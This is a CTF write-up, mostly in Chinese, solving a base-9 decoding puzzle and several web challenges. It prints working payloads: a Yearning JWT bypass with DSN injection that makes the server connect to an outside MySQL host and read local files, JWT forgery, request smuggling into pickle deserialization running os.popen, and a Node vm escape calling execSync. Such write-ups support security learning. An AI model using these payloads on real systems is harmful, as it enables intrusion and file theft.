O!!!SPF!!!!!! Enhanced
题目描述
I'm apologized for the missing part of the treasure map. Luckily this is a way to recover it. 2a13:b487:11aa::d3:c7f:2f will tell you the key at its path. But it seems not easy to reach it? The dungeon and the flag inside it is waiting for you.
很抱歉藏宝图丢失了一部分。幸运的是,我们有办法找回它。2a13:b487:11aa::d3:c7f:2f 会告诉你钥匙的路径。但要找到它似乎并不容易?地牢和里面的旗帜正在等着你。
什么玩意
Baldur’s Gate 3 Complete Spell List
留个问题 如何优雅的实现bing爬虫
必然是 ascii(10进制)转字符 但是可见字符在 32-128之间 9进制 没有9 所有位数减一 最高位为8
import json
def base9_to_decimal_to_chr(base9_num):
# 9进制转10进制
decimal_num = 0
for i, digit in enumerate(reversed(str(base9_num))):
decimal_num += int(digit) * (9 ** i)
# 10进制转字符
try:
# 确保转换后的ASCII码在可打印字符范围内
if 32 <= decimal_num <= 126:
return chr(decimal_num)
else:
return "该10进制数不在可打印ASCII字符范围内"
except ValueError:
return "无效的9进制数"
with open("output.json") as f:
data = json.load(f)
for spells in data:
for spell in spells:
spells[spell]-=1
flag =''
for i in data:
num=''
num+=str(i['1'])
num+=str(i['2'])
try:
num+=str(i['3'])
except:
pass
num10=base9_to_decimal_to_chr(num)
flag+=num10
print(flag)
https://koalastothemax.com/?aHR0cHM6Ly9pLnBvc3RpbWcuY2MvOVh4MHhmc2svZmxhZy5wbmc=
https://i.postimg.cc/9Xx0xfsk/flag.png
d3ctf{y0u_are_spells_m4ster}
Docker
I'm a doctor in sick who needs help for others. The remote container is the same as the official one, except a small patch to convenient you.Don't be worried about it, you will meet the patch and know why it has been made.
我是一名生病的医生,需要别人的帮助。
远程容器和官方容器一样,只是有一个小补丁方便你。别担心,你会见到这个补丁,知道为什么会有这样的补丁
项目地址:GitHub - cookieY/Yearning:🐳最流行的 mysql 审计平台
https://yearning.io/
版本3.1.7
https://github.com/cookieY/Yearning/releases
是最新版
默认账号/密码:admin/Yearning_admin
远程不是默认密码,鉴权用的是JWT,远程也设置了secret-key,不是默认的
https://github.com/cookieY/yee/blob/1c392ccd2d7dd7de0aa8964583ea1b2415179804/middleware/jwt.go#L82
如果是websocket请求,那么就直接return,不进行jwt读取。
- HeaderConnection:Connection
- HeaderUpgrade:Upgrade
加上这2个请求头后可以访问任意接口
但是不是所有接口都能正常调用,需要new(lib.Token).JwtParse(c)的接口全都会报错,因为没有赋值c.Get(“auth”)
审计源码可以发现一处接口
在此处发起mysql连接,由于gorm的驱动(底层是 https://github.com/go-sql-driver/mysql )默认是不允许任意local infile的(并且这里不可控host,如果拿到admin,可以新建数据源,就可控了),因此我们需要注入DSN参数来让它开启任意文件读取并且设置host
go-sql-driver/mysql解析dsn是以最后一个/和/左边的最后一个@解析的。 https://github.com/go-sql-driver/mysql/blob/master/dsn.go#L357
1 2 3 4 5 6 7 8 9 | GET with body http://47.100.57.142:30527/api/v2/fetch/fields?source_id=foo Content-Type application/json connection upgrade upgrade websocket { “data_base”:“root:passwd@tcp(1.1.1.1:3306)/foo?allowAllFiles=true&”, “table”:“test” } |
最终loadlocalfile就可以读取到flag文件。
d3pythonhttp
def verify_token(token):
header = jwt.get_unverified_header(token)
kid = header["kid"]
key = get_key(kid)
try:
payload = jwt.decode(token, key, algorithms=["HS256"])
return True
except:
return False
jwt.get_unverified_header(token)
未经验证就读取jwt的头部信息 可以伪造jwt头部任意内容
jwt.decode(token, algorithms=['HS256'], options={"verify_signature": False})['isadmin']
没有验证签名,所以密钥可以伪造为空
[!NOTE] 签名用于验证信息在传输过程中是否被篡改,并且在使用私钥签名令牌的情况下,它还可以验证 JWT 的发送者是否正确
可以jwt伪造
def get_key(kid):
key = ""
dir = "/app/"
try:
with open(dir+kid, "r") as f:
key = f.read()
except:
pass
print(key)
return key
可以人为控制 读取jwt key内容为空
{
"alg": "HS256",
"typ": "JWT",
"kid": "J1rrY"
}
{"username":"J1rrY","isadmin":"True"}
伪造是注意签名一定要正确 密钥为空
注意都是 字符串 “True”
https://www.bejson.com/jwt/
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6IkoxcnJZIn0.eyJ1c2VybmFtZSI6IkoxcnJZIiwiaXNhZG1pbiI6IlRydWUiLCJzdWIiOiJkZW1vIiwiaWF0IjoxNzE0ODIzNzE1LCJuYmYiOjE3MTQ4MjM3MTUsImV4cCI6MTcxNDkxMDExNX0.rKz3C2kCd22sqSVABrmfVTVm8CRCyGoc5SlWXOoJzyU
http.client
conn = http.client.HTTPConnection
优先判断CL
其次是TE
在flask的request中 (实验判断)
当Transfer-Encoding和Content-Length共存的时候,flask会优先按TE去解析,哪怕CL长度为1也不影响
data = "{}\r\n{}\r\n0\r\n\r\n".format(hex(len(data))[2:], data.decode())
注意是 \r\n
windows下的换行
典型构造取 TE
作为data传递
def data():
"""Returns the data sent with the request."""
if "data" not in ctx:
if ctx.env.get("HTTP_TRANSFER_ENCODING") ** "chunked":
ctx.data = ctx.env["wsgi.input"].read()
else:
cl = intget(ctx.env.get("CONTENT_LENGTH"), 0)
ctx.data = ctx.env["wsgi.input"].read(cl)
return ctx.data
web.py中判断 优先是 chunked
大写绕过即可
def POST(self):
data = web.data()
# fix this backdoor
if b"BackdoorPasswordOnlyForAdmin" in data:
return "You are an admin!"
else:
data = base64.b64decode(data)
pickle.loads(data)
return "Done!"
通过TE-CL
截断字符串
BackdoorPasswordOnlyForAdmin
拼接pickle流即可
POST /admin HTTP/1.1
Host: 127.0.0.1:8088
Content-Length: 118
Pragma: no-cache
Cache-Control: no-cache
sec-ch-ua: "Chromium";v="124", "Google Chrome";v="124", "Not-A.Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: http://127.0.0.1:8088
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1:8088/admin
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Transfer-Encoding: Chunked
cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6IkoxcnJZIn0.eyJ1c2VybmFtZSI6IkoxcnJZIiwiaXNhZG1pbiI6IlRydWUifQ.ptL_bTeUj2H2ltI0ytJkq295aaInEqMvw7LZSykyMyw
Connection: close
83
gASVQQAAAAAAAACMCGJ1aWx0aW5zlIwEZXZhbJSTlIwlX19pbXBvcnRfXygnb3MnKS5wb3BlbignY2FsYycpLnJlYWQoKZSFlFKULg
0
卡了半天没有 Flask 中 request.data
??
Content-Type:检查请求的 Content-Type
头部。如果请求体的内容类型不是 Flask 所期望的(如 application/json
),可能需要相应地处理或转换数据。
Content-Type: application/x-www-form-urlencoded
替换为空或者application/json
才可能拿到数据内容
后端服务器报错
binascii.Error: Invalid base64-encoded string: number of data characters (117) cannot be 1 more than a multiple of 4
base64 decode 四位一解 注意还有一个proxy未使用(python 内存马触发点)
import pickle
import base64
class A(object):
def __reduce__(self):
return (exec, ("index.GET=lambda self:__import__('os').popen('cat /tmp/this_flag').read()",))
a = A()
a = pickle.dumps(a)
print(base64.b64encode(a))
exec(__import__('os').popen('calc').read())
法二
import pickle
import base64
class A(object):
def __reduce__(self):
return (eval, ("app.add_processor((lambda self : __import__('os').popen('cat /Secr3T_Flag').read()))",))
a = A()
a = pickle.dumps(a)
print(base64.b64encode(a))
stack_overflow
const express = require('express')
const vm = require("vm");
考虑vm逃逸
function waf(str) {
let pattern = /(call_interface)|\{\{.*?\}\}/g;
return str.match(pattern)
}
思考为什么要禁止 call_interface
case "call_interface":
let numOfArgs = stack.pop()
let cmd = stack.pop()
let args = []
for (let i = 0; i < numOfArgs; i++) {
args.push(stack.pop())
}
cmd += "('" + args.join("','") + "')"
let result = vm.runInNewContext(cmd)
stack.push(result.toString())
break;
"(function (...a){ return a.map(char=>char.charCodeAt(0)).join(' ');})('e','d','c','b','a')"
命令注入 尝试闭合
')//
{"stdin":["');p=this.constructor.constructor(\"return process\")();res=p.mainModule.require(\"child_process\").execSync(\"calc\").toString();//"]}
let result = vm.runInNewContext(cmd)
stack.push(result.toString())
直接有输出 runInNewContext
vm逃逸类型1